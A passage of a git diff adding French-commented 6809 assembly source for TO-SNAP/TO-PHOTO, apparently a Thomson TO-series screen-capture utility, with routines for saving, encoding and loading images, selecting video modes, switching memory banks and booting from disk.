+       STA    $E7E6
+*      CLR    TFMEMO
+       LDA    $E7E6     interdit écritur
+       ANDA   #$BF      cartouche
+       STA    $E7E6
+
+       JSR    RSTECR
+
+       JSR    ACTIT
+
+       LDB    3,S
+       CMPB   #$91
+       BEQ    GORAM0    ->
+       CMPB   #$93
+       BGE    GORAM0    ->
+       LDA    #$44      commut.bank
+       STA    $6081     ram pia
+       STA    $E7E7     (compatibilité)
+
+       CMPB   #$90
+       BEQ    GORAM0    ->
+*      basic 1
+       LDA    #$01      init. ctrl dsk
+       STA    DKOPC
+       JSR    DKCO
+
+       LDA    #$20      posit piste 0
+       STA    DKOPC
+       JSR    DKCO
+
+*      une séquence d'effacement appelée
+*      par le programme chargé réalise
+*      une initialisation d'un zone
+*      pointée par $601c à $601e... zone
+*      dans laquelle peut justement se
+*      trouver le programme (MGT !)
+*      les valeurs mises sont celles en
+*      vigueur hors extra mon !!!
+
+       LDD    #$F001
+       STD    $601C
+       LDD    #$F017
+       STD    $601E
+
+GORAM0 LDA    #$FF      présence disk
+       STA    $6080
+       LDA    >$E7C3    moniteur bk 0
+       ANDA   #$EF
+       STA    >$E7C3
+       PULS   A,U
+       LDS    #$60CC
+       LDB    #$60
+       TFR    B,DP
+
+       JSR    COMS
+
+*** Boot disquette
+XBOOT  JSR    FENCH
+       JSR    FENIVD
+       JSR    FIXIT
+       JSR    FENFIN
+
+       LDA    #$FF
+       LDX    #TMEMO
+       JSR    SETP
+
+       CLR    $E7E4
+       LDA    $E7E6     autorise écritur
+       ORA    #$40      cartouche
+       STA    $E7E6
+*      CLR    TFMEMO
+       LDA    $E7E6     interdit écritur
+       ANDA   #$BF      cartouche
+       STA    $E7E6
+
+       JSR    RSTECR
+
+       LDU    #BOOT
+       JSR    COMBK2
+
+*** modification du déroutement
+MODSNA JSR    FENDES
+       LDB    TYPDER
+       INCB
+       CMPB   #15
+       BLT    ECRDER    ->
+       CLRB
+
+ECRDER CLR    $E7E4
+       LDA    $E7E6     autorise écritur
+       ORA    #$40      cartouche
+       STA    $E7E6
+       STB    TYPDER
+       LDA    $E7E6     interdit écritur
+       ANDA   #$BF      cartouche
+       STA    $E7E6
+
+       LBRA   EXEA00    ->
+
+* Fin menu lancement
+*---------------------------------------
+
+XARET  JSR    FIXIT
+       CLRB
+       JSR    FENFER    car photo peut
+       JSR    FENACT
+       RTS
+
+
+*=======================================
+* S/P restore attributs écran
+*=======================================
+RSTECR LDB    #$1B
+       JSR    PUTC
+       LDB    #$69
+       JSR    PUTC
+       LDB    #$1B
+       JSR    PUTC
+       LDB    #$44      bleu
+       JSR    PUTC
+       LDB    #$1B
+       JSR    PUTC
+       LDB    #$56      sur cyan
+       JSR    PUTC
+       LDB    #$1B
+       JSR    PUTC
+       LDB    #$66      tour cyan
+       JSR    PUTC
+       LDB    #FF
+       JSR    PUTC
+       RTS
+
+
+*=======================================
+* S/P destruction logique d'une photo
+*
+* Entrée: A num photo
+*=======================================
+DELPHO PSHS   A,X
+*---------------------------------------
+       LDX    #TABPHO
+       CLR    A,X
+       PULS   A,X,PC    ->>
+
+
+*=======================================
+* S/P test de localisation de la souris
+*     dans un carreau
+* Entrée: XH  rangée  début   ]
+*         XL  colonne début   du carreau
+*         YH  hauteur         ]
+*         YL  largeur         ]
+* Sortie: CY 1 souris dans le carreau
+*            0 ... en dehors
+*=======================================
+
+SOUROK PSHS   D,X,Y,U
+       LEAS   -5,S
+HORDOT SET    0
+VERDOT SET    2
+MULTH  SET    4
+PA     SET    5
+PB     SET    6
+PXH    SET    7
+PXL    SET    8
+PYH    SET    9
+PYL    SET    10
+*---------------------------------------
+
+       LDB    #8        coef de * horiz
+       LDA    SCRMOD
+       CMPA   #$40
+       BNE    RGMU      ->
+       LDB    #4        bit map 16
+RGMU   STB    MULTH,S
+
+       LDA    #8
+       LDB    PXH,S
+       MUL
+       STD    HORDOT,S
+       CMPD   REGY
+       BGT    SELDN     hors haut ->
+       LDA    MULTH,S
+       LDB    PXL,S
+       MUL
+       STD    VERDOT,S
+       CMPD   REGX
+       BGT    SELDN     hors gauche ->
+       LDA    #8
+       LDB    PYH,S
+       MUL
+       ADDD   HORDOT,S
+       CMPD   REGY
+       BLE    SELDN     hors bas ->
+       LDA    MULTH,S
+       LDB    PYL,S
+       MUL
+       ADDD   VERDOT,S
+       CMPD   REGX
+       BLE    SELDN     hors droit ->
+       ORCC   #$01      dedans
+       BRA    SELDF     ->
+SELDN  ANDCC  #$FE      hors
+
+SELDF  LEAS   5,S
+       PULS   D,X,Y,U,PC
diff --git a/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-X1.ASM b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-X1.ASM
new file mode 100755
index 0000000..3226999
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-X1.ASM
@@ -0,0 +1,1186 @@
+       TITLE  TO-PHOTO:Traitement
+*      ---------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*           Traitement                 *
+*                                      *
+****************************************
+
+
+*=======================================
+* S/P sauvegarde image vers un bank
+*=======================================
+
+SAUVG  EQU    *
+*---------------------------------------
+
+       LDX    #TABBK
+       LDA    NUMPHO
+       LDA    A,X
+       STA    BANKC
+
+SAUVGG EQU    *
+*---------------------------------------
+       LDA    $E7C3
+       ORA    #1
+       STA    $E7C3
+
+       LDX    #$4000
+       LDY    #$A000
+BCOD0  LDD    ,X++
+       STD    ,Y++
+       CMPX   #$4000+8000
+       BNE    BCOD0     ->
+
+       LDA    $E7C3
+       EORA   #1
+       STA    $E7C3
+
+       LDX    #$4000
+BCOD1  LDD    ,X++
+       STD    ,Y++
+       CMPX   #$4000+8000
+       BNE    BCOD1     ->
+       RTS
+
+
+*=======================================
+* S/P codage d'une image vers un bank
+*=======================================
+
+CODPHO EQU    *
+*---------------------------------------
+
+       JSR    SAUVG
+
+       LDX    #TABPHO   note photo
+       LDA    NUMPHO
+       LDB    #1
+       STB    A,X
+       LDX    #TABMOD   note mode photo
+       LDB    SCRMOD    mode vidéo
+       STB    A,X
+
+       LDA    TOUR      sauve tour
+       STA    TOUPHO
+
+       LDX    #TMNGR    sauve mode basic
+BNMBA0 LDA    ,X
+       CMPA   #$FF
+       BEQ    PBMOBA   ->
+       CMPA   SCRMOD
+       BEQ    OKMOBA   ->
+       LEAX   17,X
+       BRA    BNMBA0   ->
+PBMOBA LDX    #TMNGR
+OKMOBA LDA    1,X
+       STA    MBSPHO
+
+       LDA    #16       sauve palette
+       LDX    #PALETE
+       LDY    #PALPHO
+BCDPA  LDU    ,X++
+       STU    ,Y++
+       DECA
+       BNE    BCDPA     ->
+
+       RTS
+
+
+*=======================================
+* S/P ecriture d'un fichier .PHO à
+*     partir de la photo courante
+*
+* Entrée:  NUMPHO
+*          FILNAM
+* Sortie:  Cy =1 si erreur
+*=======================================
+
+ECRPHO PSHS   D,X,Y
+       LEAS   -1,S
+MEMBK  SET    0
+*---------------------------------------
+
+       CLR    $E7E4
+       LDA    BANKC
+       STA    MEMBK,S
+
+* Une photo codée peut dépasser dans
+* certains cas les 16k !!! pour garder
+* la compatibilité de format on accèpte
+* cette bizarerie et on procède :
+*  -sauvegarde de la zone $9000-$9FFF
+*   vers le bank DBKPIL qui ne doit pas
+*   être actif.
+*  -codage de $9000 à DFFF sur bank
+*   BKMANO
+*  - écriture fichier
+*  -restauration zone $9000-9FFF
+
+       LDA    #DBKPIL
+       STA    BANKC
+       LDX    #$9000
+       LDY    #$A000
+BSOVFE LDD    ,X++
+       STD    ,Y++
+       CMPX   #$A000
+       BNE    BSOVFE    ->
+       LDA    BKMANO
+       STA    BANKC
+
+       DECA
+       STA    DEBZON+2
+       LDD    #$9002
+       STD    DEBZON
+       CLR    PUTFLG
+       LDB    #$FF
+       STB    PASSCD
+       CLR    WITH
+       LDA    #1
+       STA    X0COD
+       CLR    Y0COD
+       LDB    #40
+       LDA    SCRMOD
+       BITA   #$C0
+       BEQ    ECCO      ->
+       ADDB   #40
+ECCO   STB    X1COD
+       LDB    #24
+       STB    Y1COD
+       LDB    #CODE
+       JSR    EXTRA
+       COM    WITH
+
+*      Ajout d'un descripteur
+*          octet  0..1  : mode hard
+*          octet  2..3  : couleur tour
+*          octet  4..5  : mode basic
+*          octets 6..37 : palette
+*          octets 38-39 : $A55A
+
+       LDA    NUMPHO
+       LDX    #TABBK
+       LDA    A,X
+       STA    BANKC
+       LDY    #BUF      ajout enveloppe
+       CLRA             mode hard
+       LDB    SCRMOD
+       STD    ,Y++
+       LDB    TOUPHO    tour
+       STD    ,Y++
+       LDB    MBSPHO    mode basic
+       STD    ,Y++
+       LDA    #32
+       LDU    #PALPHO
+BMMPA  LDD    ,U++
+       ANDA   #$0F
+       STD    ,Y++
+       CMPU   #PALPHO+32
+       BNE    BMMPA     ->
+       LDD    #$A55A
+       STD    ,Y++      ajout soco
+
+       LDA    BKMANO
+       STA    BANKC
+       LDX    #BUF
+       LDY    LSTBYT
+       TFR    Y,D
+       LSRB
+       BCC    BMMPA0    ->
+       CLR    ,Y+       descript. adr
+BMMPA0 LDA    #40       paire
+BMMPA1 LDB    ,X+
+       STB    ,Y+
+       DECA
+       BNE    BMMPA1    ->
+
+       LEAY   -$9002,Y  calcul longueur
+       STY    $9000
+
+       LDA    #SQO      #ouverture
+       STA    FILMOD
+       LDA    #2
+       STA    FILTYP    type
+       CLR    ASCFLG    binaire
+       LDB    #OPEN
+       JSR    EXTRA
+       TSTB
+       LBNE   ECALO     erreur ->
+
+       CLRA             #en tete bloc
+       JSR    ECRFIC
+       LBCS   ECALF     ->
+       LDA    $9000     longueur!
+       JSR    ECRFIC
+       LBCS   ECALF     ->
+       LDA    $9001
+       JSR    ECRFIC
+       LBCS   ECALF     ->
+       CLRA
+       JSR    ECRFIC
+       LBCS   ECALF     ->
+       JSR    ECRFIC
+       LBCS   ECALF     ->
+
+       LDX    #$9002    #données
+       LDY    $9000
+ECAL1  LDA    ,X+
+       JSR    ECRFIC
+       LBCS   ECALF     erreur ->
+       LEAY   -1,Y
+       BNE    ECAL1     ->
+
+       LDA    #$FF      #bloc fin
+       JSR    ECRFIC
+       LBCS   ECALF     ->
+       CLRA
+       LDB    #4
+BECBFI JSR    ECRFIC
+       LBCS   ECALF     ->
+       DECB
+       BNE    BECBFI    ->
+
+       LDB    #CLOSE    # fin normale
+       JSR    EXTRA
+
+       LDA    #DBKPIL   restaure $9000..
+       STA    BANKC
+       LDX    #$9000
+       LDY    #$A000
+BRESFE LDD    ,Y++
+       STD    ,X++
+       CMPX   #$A000
+       BNE    BRESFE    ->
+       ANDCC  #$FE
+       BRA    ECALF     ->
+
+ECALO  STB    BUF       # erreur OPEN
+       LDA    #DBKPIL   restaure $9000..
+       STA    BANKC
+       LDX    #$9000
+       LDY    #$A000
+BRESF5 LDD    ,Y++
+       STD    ,X++
+       CMPX   #$A000
+       BNE    BRESF5    ->
+       JSR    SELDEF    # éditer erreur
+       LDB    BUF
+       JSR    DOSERR
+       ORCC   #$01
+
+ECALF  TFR    CC,B
+       LDA    MEMBK,S
+       STA    BANKC
+       TFR    B,CC
+       LEAS   1,S
+       PULS   D,X,Y,PC
+
+
+*=======================================
+* S/P décodage d'une image
+*     L'entrée DCCPHO permet d'utiliser
+*     deux pages physiques en commutatio
+*     et donc d'accélerer l'affichage
+*     Tout nouvel affichage devra
+*     cependant etre précédé d'un appel
+*     de FORCV0 pour forcer le retour
+*     en page 0 qui seul permet les
+*     écritures standards
+*=======================================
+
+DCCPHO LEAS   -1,S
+PAG0   SET    0
+       LDA    #1
+       STA    PAG0,S
+       BRA    DCCPH     ->
+*---------------------------------------
+
+DECPHO LEAS   -1,S
+       CLR    PAG0,S
+*---------------------------------------
+DCCPH  LDX    #TABPHO
+       LDA    NUMPHO
+       TST    A,X
+       BNE    DECS0     ->
+       LDB    #$1B
+       JSR    PUTC
+       LDB    #$69
+       JSR    PUTC
+       LDB    #FF
+       JSR    PUTC
+       LDB    #$1B
+       JSR    PUTC
+       LDB    #$68
+       JSR    PUTC
+       LEAS   1,S
+       RTS              ->>
+
+*      décodage image
+DECS0  LDX    #TABBK
+       LDA    A,X
+       STA    BANKC
+       BRA    DCVAZY    ->
+
+RESTGG EQU    *
+       LEAS   -1,S
+       LDA    #-1
+       STA    PAG0,S
+*---------------------------------------
+
+DCVAZY STS    BUF
+       ORCC   #$50
+       CLR    $E7E4    Accès registres
+       LDA    BANKC     alimenter bkmano
+       LDB    BKMANO    par la photo au
+
+       LDY    #$A000    format "vidéo"
+       LEAS   8000,Y
+BDEC0  STA    <BANKC
+       LDX    ,S++
+       LDU    ,S++
+       STB    <BANKC
+       STX    ,Y++
+       STU    ,Y++
+       CMPY   #$A000+8000
+       BNE    BDEC0     ->
+
+       LDY    #$A000
+       LEAS   8192,Y
+BDEC1  STA    <BANKC
+       LDX    ,Y++
+       LDU    ,Y++
+       STB    <BANKC
+       STX    ,S++
+       STU    ,S++
+       CMPY   #$A000+8000
+       BNE    BDEC1     ->
+
+       LDS    BUF
+       ANDCC  #$AF
+       TST    PAG0,S
+       BMI    SDEC01    ->
+       STA    <BANKC
+       LDA    TOUPHO    récup. tour
+       STA    TOUR
+       LDA    #16       récup. palette
+       LDX    #PALPHO
+       LDY    #PALETE
+BRCPA  LDU    ,X++
+       STU    ,Y++
+       DECA
+       BNE    BRCPA     ->
+       JSR    SELMOD    fixer mode
+
+SDEC01 LDB    $E7E4     Visualiser la
+       ANDB   #$3F      page bkmano
+       TST    BKMANO
+       BEQ    SDEC00    ->
+       ORB    #$80
+SDEC00 ORB    TOUR
+       STB    $E7DD
+
+       LDA    BKVID
+       LDB    BKMANO
+       STA    BKMANO
+       STB    BKVID
+
+       TST    PAG0,S
+       BGT    FDEC0     ->
+       BSR    FORCV0
+
+FDEC0  LEAS   1,S
+       RTS
+
+
+*=======================================
+* S/P de forcage de la page physique 0
+*     en page vidéo
+*=======================================
+
+FORCV0 EQU    *
+*---------------------------------------
+       TST    BKVID
+       BNE    FFORCV   ->
+       RTS             ->>
+
+FFORCV LDA    BKVID    copier la meme
+       LDB    BKMANO   visu en page 0
+       LDY    #$A000   (la seule accédee
+*                      par les routines
+BDEC3  STA    <BANKC   d'accés en $4000)
+       LDX    ,Y
+       LDU    2,Y
+       STB    <BANKC
+       STX    ,Y++
+       STU    ,Y++
+       CMPY   #$A000+8000
+       BNE    BDEC3     ->
+
+       LDY    #$C000
+BDEC4  STA    <BANKC
+       LDX    ,Y
+       LDU    2,Y
+       STB    <BANKC
+       STX    ,Y++
+       STU    ,Y++
+       CMPY   #$C000+8000
+       BNE    BDEC4     ->
+
+       LDB    $E7E4     visualiser la
+       ANDB   #$3F      page 0
+       ORB    TOUR
+       STB    $E7DD
+
+       LDA    BKMANO
+       LDB    BKVID
+       STA    BKVID
+       STB    BKMANO
+       RTS
+
+
+*=======================================
+* S/P ecriture sur fichier
+*
+* Entrée: A  car. à ecrire
+* Sortie: CY 0 si ok
+*            1 si erreur (fichier sera
+*                         fermé et détr.
+*=======================================
+
+ECRFIC PSHS   B
+       LEAS   -2,S
+SCRMEM SET    0
+ERRMEM SET    1
+*---------------------------------------
+       LDB    #PRINT
+       JSR    EXTRA
+       TSTB
+       BNE    ECFIR     erreur ->
+       ANDCC  #$FE
+       LEAS   2,S
+       PULS   B,PC      ->>
+
+ECFIR  STB    ERRMEM,S
+
+       LDA    #DBKPIL   restaure $9000
+       STA    BANKC
+       LDX    #$9000
+       LDY    #$A000
+BRESF4 LDD    ,Y++
+       STD    ,X++
+       CMPX   #$A000
+       BNE    BRESF4    ->
+
+       LDB    #CLOSE    # erreur PRINT
+       JSR    EXTRA
+       LDB    #KILL     détruire
+       JSR    EXTRA
+
+       JSR    SELDEF
+       LDB    ERRMEM,S
+       JSR    DOSERR
+       ORCC   #$1
+       LEAS   2,S
+       PULS   B,PC      ->>
+
+
+*=======================================
+* S/P lecture sur le fichier courant
+*
+* Sortie: A  car. lu si ok
+*         CY 0 si ok
+*            1 si pb -> erreur traitée
+*                       fichier fermé
+*=======================================
+
+LECFIC PSHS   B
+*---------------------------------------
+       LDB    #INPUT
+       JSR    EXTRA
+       TSTB
+       BNE    LEFIFR    erreur ->
+       LDB    #78       'bad picture'
+       TST    EOFFLG    si eof !
+       BNE    LEFIFR    ->
+       LDA    CARCOU
+       ANDCC  #$FE
+       PULS   B,PC      ->>
+
+LEFIFR JSR    SELDEF
+       JSR    DOSERR
+       LDB    #CLOSE
+       JSR    EXTRA
+       ORCC   #1
+       PULS   B,PC      ->>
+
+
+*=======================================
+* S/P chargement d'une photo
+*     Cette derniere est supposé au
+*     format MAP avec optionnellement la
+*     palette derrière la map si issu d
+*     TO-SNAP !
+*
+* Entrée:  NUMPHO no photo sélectionnée
+*          FILNAM nom fichier
+*          A  0 non existance fichier
+*               = erreur
+*            #0 accepter
+* Sortie:  CY 0 ok
+*             1 erreur
+* *ATTENTION* un FENFER de 2 niveaux
+*             est exécuté si ok !
+*             et si A = 0
+*=======================================
+
+LECPHO PSHS   D,X,Y
+       LEAS   -4,S
+MEMBK  SET    0
+MEMLG  SET    1
+MEMMOD SET    3
+PA     SET    4
+PB     SET    5
+PX     SET    6
+*---------------------------------------
+
+* Une photo codée peut dépasser dans
+* certains cas les 16k !!! pour garder
+* la compatibilité de format on accèpte
+* cette bizarerie et on procède :
+*  -lecture du fichier sur les deux
+*   bank 4k sur DBKPIL puis BKMANO
+*  -sauvegarde de la zone $9000-$9FFF
+*   vers le bank DBKPIL qui ne doit pas
+*   être actif. (en $D000)
+*  -copie des 4k de DBKPIL vers $9000
+*  -décodage photo
+*  -restauration zone $9000-9FFF
+*  -codage photo vers bank
+
+       LDA    #SQI      ouverture fich
+       STA    FILMOD
+
+       LDB    #OPEN
+       JSR    EXTRA
+       TSTB
+       BEQ    LFVAY     ->
+       TST    PA,S
+       BEQ    LFPBB     ->
+       CMPB   #62
+       LBEQ   FINALR    ->
+LFPBB  LDA    SCRMOD
+       STA    BUF
+       JSR    SELDEF
+       JSR    DOSERR
+       LDA    SCRMOD
+       JSR    ACTMOD
+       LBRA   FINALR    erreur ->
+
+*      récupérer la longueur du bloc
+
+LFVAY  JSR    LECFIC
+       LBCS   FINALR    ->
+       TSTA
+       LBNE   FINARR    non 0 en tete ->
+       JSR    LECFIC    lire longueur
+       LBCS   FINALR    ->
+       TFR    A,B
+       JSR    LECFIC
+       LBCS   FINALR    ->
+       EXG    A,B
+       CMPD   #0
+       LBEQ   FINARR    vide       ->
+       CMPD   #$4FFE
+       LBGT   FINARR    trop grand ->
+       STD    MEMLG,S
+
+       JSR    LECFIC    passer adr bidon
+       LBCS   FINALR    ->
+       JSR    LECFIC
+       LBCS   FINALR    ->
+
+*      Chargement des 4k debut en $A000
+*      du bank DBKPIL
+
+       LDA    #DBKPIL
+       STA    BANKC
+       LDD    MEMLG,S
+       TFR    D,Y
+       SUBD   #$1000
+       BPL    C4K1      ->
+       LDU    #0        reste
+       BRA    C4K2      ->
+C4K1   TFR    D,U       reste !
+       LDY    #$1000
+C4K2   LDX    #$A000
+       JSR    LECFIC    type écran
+       LBCS   FINALR    ->
+       STA    MEMMOD,S
+
+BCA1   STA    ,X+
+       LEAY   -1,Y
+       BEQ    FINAL4    fini ->
+       JSR    LECFIC
+       LBCS   FINALR    ->
+       BRA    BCA1      ->
+
+FINAL4 TFR    U,Y
+       CMPY   #0
+       BEQ    FINALC    ->
+
+       LDA    BKMANO    lecture du reste
+       STA    BANKC
+       LDX    #$A000
+       BRA    BCA3      ->
+
+BCA2   STA    ,X+
+       LEAY   -1,Y
+       LBEQ   FINALC    fini ->
+BCA3   JSR    LECFIC
+       LBCS   FINALR    ->
+       BRA    BCA2      ->
+
+*      fin de lecture ok
+
+FINALC LDB    #CLOSE
+       JSR    EXTRA
+
+       LDA    #DBKPIL
+       STA    BANKC
+       LDB    #8        nom
+       LDA    NUMPHO
+       MUL
+       LDX    #TABNOM
+       LEAX   B,X
+       LDY    #FILNAM
+       LDB    #8
+BNOMME LDA    ,Y+
+       STA    ,X+
+       DECB
+       BNE    BNOMME    ->
+
+* Visualisation
+
+       TST    PA,S
+       BNE    LFPA1     ->
+       LDB    #2
+       JSR    FENFER
+
+LFPA1  JSR    SELDEF
+       LDB    #$1B
+       JSR    PUTC
+       LDB    #$69
+       JSR    PUTC
+       LDB    #FF
+       JSR    PUTC
+       LDB    #$1B
+       JSR    PUTC
+       LDB    #$68
+       JSR    PUTC
+
+       LDA    #DBKPIL   sauve $9000...
+       STA    BANKC
+       LDX    #$9000
+       LDY    #$D000
+BSOVF1 LDD    ,X++
+       STD    ,Y++
+       CMPX   #$A000
+       BNE    BSOVF1    ->
+       LDX    #$9000    ajoute debut pho
+       LDY    #$A000
+BNEWF1 LDD    ,Y++
+       STD    ,X++
+       CMPX   #$A000
+       BNE    BNEWF1    ->
+       LDA    BKMANO
+       STA    BANKC
+
+*      Prise en compte descripteur
+*      Si abscence (cas d'un .MAP std)
+*      on utilise la palette défaut,
+*      le mode MAP et le tour courant
+*      Nb: le mode MAP (1er octet format
+*          compacté peut être identique
+*          pour plusieurs formats...)
+*
+*      Format d'un descripteur
+*          octet  0..1  : mode hard
+*          octet  2..3  : couleur tour
+*          octet  4..5  : mode basic
+*          octets 6..37 : palette
+*          octets 38-39 : $A55A
+
+       LDB    #16
+       LDX    #PALDEF   palette défaut
+       LDY    #PALETE
+PALDF1 LDU    ,X++
+       STU    ,Y++
+       DECB
+       BNE    PALDF1    ->
+
+       LDY    MEMLG,S   test si descript
+       LEAY   $9000,Y
+       LEAY   -2,Y
+
+       LDD    ,Y
+       CMPD   #$A55A
+       BNE    FINALK    ->
+
+       LEAY   -37,Y
+       LDA    ,Y++      mode hard
+       STA    MEMMOD,S
+       LDA    ,Y++
+       STA    TOUR
+       LEAY   1,Y
+       LDB    #16
+       LDX    #PALETE
+BLPAL  LDU    ,Y++
+       STU    ,X++
+       DECB
+       BNE    BLPAL     ->
+
+*  fixation mode vidéo après régen.
+
+FINALK LDA    #DBKPIL
+       STA    BANKC
+       LDX    #$9000
+       LDY    #$D000
+BRESF2 LDD    ,Y++
+       STD    ,X++
+       CMPX   #$A000
+       BNE    BRESF2    ->
+
+       LDA    MEMMOD,S
+       JSR    ACTMOD
+
+       LDX    #$9000    ajoute debut pho
+       LDY    #$A000
+BNEWF2 LDD    ,Y++
+       STD    ,X++
+       CMPX   #$A000
+       BNE    BNEWF2    ->
+       LDA    BKMANO
+       STA    BANKC
+
+*      Décodage image
+
+       DECA
+       STA    DEBZON+2
+       LDD    #$9000
+       STD    DEBZON
+       LDB    #$FF
+       STB    PUTFLG
+       CLR    WITH
+       LDA    #1
+       STA    X0COD
+       CLR    Y0COD
+       LDB    #CODE
+       JSR    EXTRA
+       COM    WITH
+
+*  -restauration zone $9000-9FFF
+
+       LDA    #DBKPIL
+       STA    BANKC
+       LDX    #$9000
+       LDY    #$D000
+BRESF1 LDD    ,Y++
+       STD    ,X++
+       CMPX   #$A000
+       BNE    BRESF1    ->
+
+* Enregistrement photo
+
+       JSR    CODPHO
+
+       ANDCC  #$FE
+       LEAS   4,S
+       PULS   D,X,Y,PC  ->>
+
+FINARR JSR    SELDEF
+       LDB    #78       'bad picture'
+       JSR    DOSERR
+
+FNARR0 LDB    #CLOSE
+       JSR    EXTRA
+
+FINALR ORCC   #1
+       LEAS   4,S
+       PULS   D,X,Y,PC
+
+
+*=======================================
+* S/P recherche 1ére photo libre
+*
+* Sortie:  Cy  0 ok
+*          Cy  1 plus de place
+*=======================================
+
+PHOCH  PSHS   D,X
+       LEAS   -2,S
+NBPHO  SET    0
+SCRMEM SET    1
+*---------------------------------------
+       LDA    MAXPHO
+       INCA
+       STA    NBPHO,S
+       LDX    #TABBK
+       LDA    NUMPHO
+       LDA    A,X
+       STA    BANKC
+       BRA    BOUCS1    ->
+BOUCS0 JSR    PHOSUI
+BOUCS1 LDA    NUMPHO
+       LDX    #TABPHO
+       TST    A,X
+       BEQ    BOUCS2    ->
+       DEC    NBPHO,S
+       BNE    BOUCS0    ->
+       JSR    SELDEF
+       LDX    #MPLEIN
+       JSR    FENERR
+       ORCC   #$01
+       LEAS   2,S
+       PULS   D,X,PC    ->>
+BOUCS2 ANDCC  #$FE
+       LEAS   2,S
+       PULS   D,X,PC    ->>
+
+
+*=======================================
+* S/P sélection du mode défaut pour
+*     dialogue (TO7 palette standard)
+*=======================================
+
+DEFSEL PSHS   D,X,Y,U
+       LEAS   -1,S
+ACTF   SET    0
+*---------------------------------------
+       CLR    ACTF,S
+       BRA    SELFFF    ->
+
+SELDEF PSHS   D,X,Y,U
+       LEAS   -1,S
+*---------------------------------------
+       JSR    FENDES
+       STA    ACTF,S
+
+SELFFF LDA    #$00      mode
+       STA    SCRMOD
+
+       LDA    #$00      gate
+       STA    >$E7DC
+
+*      palette
+
+       LDA    #$FF
+       LDX    #PALDEF
+       JSR    SETP
+
+*      Tour
+
+       CLR    $E7E4
+       LDB    $E7E4
+       ORB    #GRIS
+       STB    $E7DD
+
+*      Extra. mon.
+
+       LDA    #NOIR
+       STA    COULGR
+       LDB    #CHOIX
+       JSR    EXTRA
+
+*      Fenêtre
+
+       LDD    #319
+       STD    XR
+
+       TST    ACTF,S
+       BPL    FSDEF      ->
+       JSR    FENACT
+FSDEF  LEAS   1,S
+       PULS   D,X,Y,U,PC ->>
+
+
+*=======================================
+* S/P sélection du mode vidéo bit map 4
+*=======================================
+
+SELM4  EQU    *
+*---------------------------------------
+       LDA    #$01      mode
+       STA    SCRMOD
+
+       LDA    #$21      gate
+       STA    >$E7DC
+
+*      Fenêtre
+
+       LDD    #319
+       STD    XR
+
+       RTS
+
+
+*=======================================
+* S/P sélection du mode vidéo TO7-70
+*=======================================
+
+SELTO7 EQU    *
+*---------------------------------------
+       LDA    #$00      mode
+       STA    SCRMOD
+
+       LDA    #$00      gate
+       STA    >$E7DC
+
+*      Fenêtre
+
+       LDD    #319
+       STD    XR
+
+       RTS
+
+
+*=======================================
+* S/P sélection du mode vidéo overlay
+*=======================================
+
+SELOVL EQU    *
+*---------------------------------------
+       LDA    #$08      mode
+       STA    SCRMOD
+
+       LDA    #$26      gate
+       STA    >$E7DC
+
+*      Fenêtre
+
+       LDD    #319
+       STD    XR
+
+       RTS
+
+
+*=======================================
+* S/P sélection du mode vidéo page 2
+*=======================================
+
+SELPG2 EQU    *
+*---------------------------------------
+       LDA    #$04      mode
+       STA    SCRMOD
+
+       LDA    #$25      gate
+       STA    >$E7DC
+
+*      Fenêtre
+
+       LDD    #319
+       STD    XR
+
+       RTS
+
+
+*=======================================
+* S/P sélection du mode vidéo page 1
+*=======================================
+
+SELPG1 EQU    *
+*---------------------------------------
+       LDA    #$02      mode
+       STA    SCRMOD
+
+       LDA    #$24      gate
+       STA    >$E7DC
+
+*      Fenêtre
+
+       LDD    #319
+       STD    XR
+
+       RTS
+
+
+*=======================================
+* S/P sélection du mode vidéo 80 colonne
+*=======================================
+
+SEL80C EQU    *
+*---------------------------------------
+       LDA    #$80      mode
+       STA    SCRMOD
+
+       LDA    #$2A      gate
+       STA    >$E7DC
+
+*      Fenêtre
+
+       LDD    #639
+       STD    XR
+
+       RTS
+
+
+*=======================================
+* S/P sélection du mode vidéo bit map 16
+*=======================================
+
+SELM16 EQU    *
+*---------------------------------------
+       LDA    #$40      mode
+       STA    SCRMOD
+
+       LDA    #$7B      gate
+       STA    >$E7DC
+
+*      Fenêtre
+
+       LDD    #159
+       STD    XR
+
+       RTS
+
+
+*=======================================
+* S/P sélection du mode vidéo triple ovl
+*=======================================
+
+SELTOV EQU    *
+*---------------------------------------
+       LDA    #$20      mode
+       STA    SCRMOD
+
+       LDA    #$3F      gate
+       STA    >$E7DC
+
+*      Fenêtre
+
+       LDD    #159
+       STD    XR
+
+       RTS
+
+
+*=======================================
+* S/P sélection du bon mode vidéo
+*=======================================
+
+SELMOD PSHS   A,X
+*---------------------------------------
+       LDA    NUMPHO
+       LDX    #TABPHO
+       TST    A,X
+       BNE    SBM0      ->
+       LBSR   SELDEF
+       PULS   A,X,PC    ->>
+SBM0   LDX    #TABMOD
+       LDA    A,X
+       BSR    ACTMOD
+       PULS   A,X,PC    ->>
+
+ACTMOD PSHS   D,X,Y,U
+       LEAS   -1,S
+ACTF   SET    0
+PA     SET    1
+*---------------------------------------
+       JSR    FENDES
+       STA    ACTF,S
+
+       LDA    PA,S
+       LSLA
+       BCC    SBM1      ->
+       LBSR   SEL80C
+       BRA    SBMF      ->
+SBM1   LSLA
+       BCC    SBM2      ->
+       LBSR   SELM16
+       BRA    SBMF      ->
+SBM2   LSLA
+       BCC    SBM3      ->
+       LBSR   SELTOV
+       BRA    SBMF      ->
+SBM3   LSLA
+       LSLA
+       BCC    SBM4      ->
+       LBSR   SELOVL
+       BRA    SBMF      ->
+SBM4   LSLA
+       BCC    SBM5      ->
+       LBSR   SELPG2
+       BRA    SBMF      ->
+SBM5   LSLA
+       BCC    SBM6      ->
+       LBSR   SELPG1
+       BRA    SBMF      ->
+SBM6   LSLA
+       BCC    SBM7      ->
+       LBSR   SELM4
+       BRA    SBMF      ->
+
+SBM7   LBSR   SELTO7
+
+*      palette
+
+SBMF   LDA    #$FF
+       LDX    #PALETE
+       JSR    SETP
+
+*      Tour
+
+       CLR    $E7E4
+       LDB    $E7E4
+       ORB    TOUR
+       STB    $E7DD
+
+*      Extra. mon.
+
+       LDA    #NOIR
+       STA    COULGR
+       LDB    #CHOIX
+       JSR    EXTRA
+
+       TST    ACTF,S
+       BPL    FSTMF      ->
+       JSR    FENACT
+FSTMF  LEAS   1,S
+       PULS   D,X,Y,U,PC ->>
+
+
+*=======================================
+* S/P calcul du No de photo suivant
